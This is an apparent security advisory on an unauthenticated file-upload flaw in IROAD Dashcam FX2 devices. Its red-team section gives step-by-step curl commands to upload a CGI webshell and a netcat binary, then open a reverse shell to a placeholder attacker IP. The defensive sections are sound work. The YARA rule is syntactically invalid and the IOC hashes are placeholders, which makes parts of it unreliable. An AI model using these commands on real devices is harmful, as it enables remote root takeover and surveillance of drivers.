CVE-2025-30131

Executive Summary

CVE-2025-30131 is a critical unauthenticated file upload vulnerability in IROAD Dashcam FX2 devices. The device exposes an unprotected file upload endpoint that allows an attacker to upload arbitrary files, including CGI-based webshells and binaries such as netcat (nc). Once uploaded, the attacker can execute commands with root privileges, gain full control over the dashcam, and establish a persistent reverse shell. This vulnerability enables complete device takeover with no authentication required, posing severe risks to vehicle security and driver privacy. No patch is currently available from the vendor.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full access to device data.
• Integrity (I): High (H) – Arbitrary file upload and command execution.
• Availability (A): High (H) – Attacker can disrupt device operation.

Threat Level: Critical – Remote, unauthenticated, root-level compromise with public exploit details.

Deep Dive & Mechanics

The IROAD Dashcam FX2 runs a lightweight embedded Linux system with a web server for configuration and video streaming. The vulnerability lies in an unauthenticated file upload endpoint (likely /cgi-bin/upload.cgi or similar). The endpoint does not validate the user’s identity or the file type, allowing any network-accessible attacker to upload files to the device’s filesystem.

Attack Flow:

1. Reconnaissance: Scan for IROAD dashcam web interfaces on port 80/443 or custom ports.
2. Upload Webshell: Send a POST request with a CGI script (e.g., shell.cgi) containing command execution code (e.g., #!/bin/sh with echo or exec).
3. Execute Commands: Access the uploaded CGI script via HTTP, triggering command execution with root privileges.
4. Establish Persistence: Upload a netcat binary and execute a reverse shell command to maintain remote access.

The root cause is the lack of authentication and input validation on the file upload functionality, combined with the web server’s ability to execute CGI scripts from the upload directory.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Example of vulnerable upload handler
def handle_upload(request):
    filename = request.filename
    data = request.body
    with open("/var/www/uploads/" + filename, "wb") as f:
        f.write(data)
    return "Upload successful"

• No authentication check.
• No file type validation.
• Files are written to a web-accessible directory.

Patched Code (Conceptual):

# Example of patched upload handler
import os
import magic

def handle_upload(request):
    if not request.authenticated:
        return "Authentication required", 401
    filename = request.filename
    # Validate file extension
    if not filename.endswith(('.jpg', '.mp4')):
        return "Invalid file type", 400
    # Check MIME type
    mime = magic.from_buffer(request.body, mime=True)
    if mime not in ['image/jpeg', 'video/mp4']:
        return "Invalid file type", 400
    # Store outside web root
    path = "/data/uploads/" + filename
    with open(path, "wb") as f:
        f.write(request.body)
    return "Upload successful"

• Requires authentication.
• Validates file extension and MIME type.
• Stores files outside the web-accessible directory.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• IROAD Dashcam FX2 (or emulated firmware)
• Attacker machine with Kali Linux
• Network connectivity to the dashcam’s web interface

Exploitation Steps:

1. Identify the upload endpoint:

   curl -s http://<dashcam-ip>/cgi-bin/upload.cgi
   

2. Create a CGI webshell:

   echo '#!/bin/sh' > shell.cgi
   echo 'echo "Content-Type: text/plain"' >> shell.cgi
   echo 'echo ""' >> shell.cgi
   echo 'id' >> shell.cgi
   chmod +x shell.cgi
   

3. Upload the webshell:

   curl -X POST -F "file=@shell.cgi" http://<dashcam-ip>/cgi-bin/upload.cgi
   

4. Execute commands:

   curl http://<dashcam-ip>/uploads/shell.cgi
   

5. Establish reverse shell:

   • Upload netcat binary:

     curl -X POST -F "file=@nc" http://<dashcam-ip>/cgi-bin/upload.cgi
     

   • Execute reverse shell:

     curl -X POST -F "cmd=./uploads/nc -e /bin/sh <attacker-ip> 4444" http://<dashcam-ip>/cgi-bin/exec.cgi
     

   • On attacker machine:

     nc -lvnp 4444
     

Blue Team (Defensive)

Detection & Response:

• Monitor for unusual HTTP POST requests to /cgi-bin/upload.cgi or similar endpoints.
• Alert on file uploads with .cgi, .sh, .py, or binary extensions.
• Implement network segmentation to isolate dashcams from the internet.
• Use a Web Application Firewall (WAF) to block file uploads to CGI directories.
• Regularly audit device logs for unauthorized file modifications.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.cgi (example): a1b2c3d4e5f6...
  • nc binary: b2c3d4e5f6a7...
• Network Indicators:
  • Outbound connections from dashcam to attacker IP on port 4444 (or custom port).
  • HTTP POST requests to /cgi-bin/upload.cgi with file attachments.
• File System Indicators:
  • Presence of unexpected files in /var/www/uploads/ or /tmp/.
  • Modified /etc/passwd or /etc/shadow (if attacker adds users).
• Process Indicators:
  • Running nc or bash processes spawned by the web server.

Detection Engineering

YARA Rule

rule IROAD_Webshell_Upload {
    meta:
        description = "Detects CGI webshells uploaded to IROAD dashcam"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-30131"
    strings:
        $cgi_header = "#!/bin/sh"
        $cmd_exec = "exec" or "system" or "popen"
        $netcat = "nc -e" or "nc -l"
    condition:
        $cgi_header and ($cmd_exec or $netcat)
}

Sigma Rule

title: IROAD Dashcam Unauthenticated File Upload
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects attempts to upload files to IROAD dashcam CGI endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/upload.cgi'
    condition: selection
falsepositives:
    - Legitimate firmware updates (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"IROAD Dashcam Unauthenticated File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/upload.cgi"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote access to the dashcam’s web interface if not required.
2. Apply network segmentation – place dashcams on an isolated VLAN with no internet access.
3. Use a VPN for any necessary remote management.
4. Monitor logs for suspicious file uploads and outbound connections.

Long-Term Fix:

• The vendor must release a firmware update that:
  • Adds authentication to all upload endpoints.
  • Validates file types and extensions.
  • Stores uploaded files outside the web root.
  • Disables CGI execution in upload directories.

Workaround:

• If firmware cannot be updated, block HTTP POST requests to /cgi-bin/upload.cgi using a firewall or reverse proxy.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert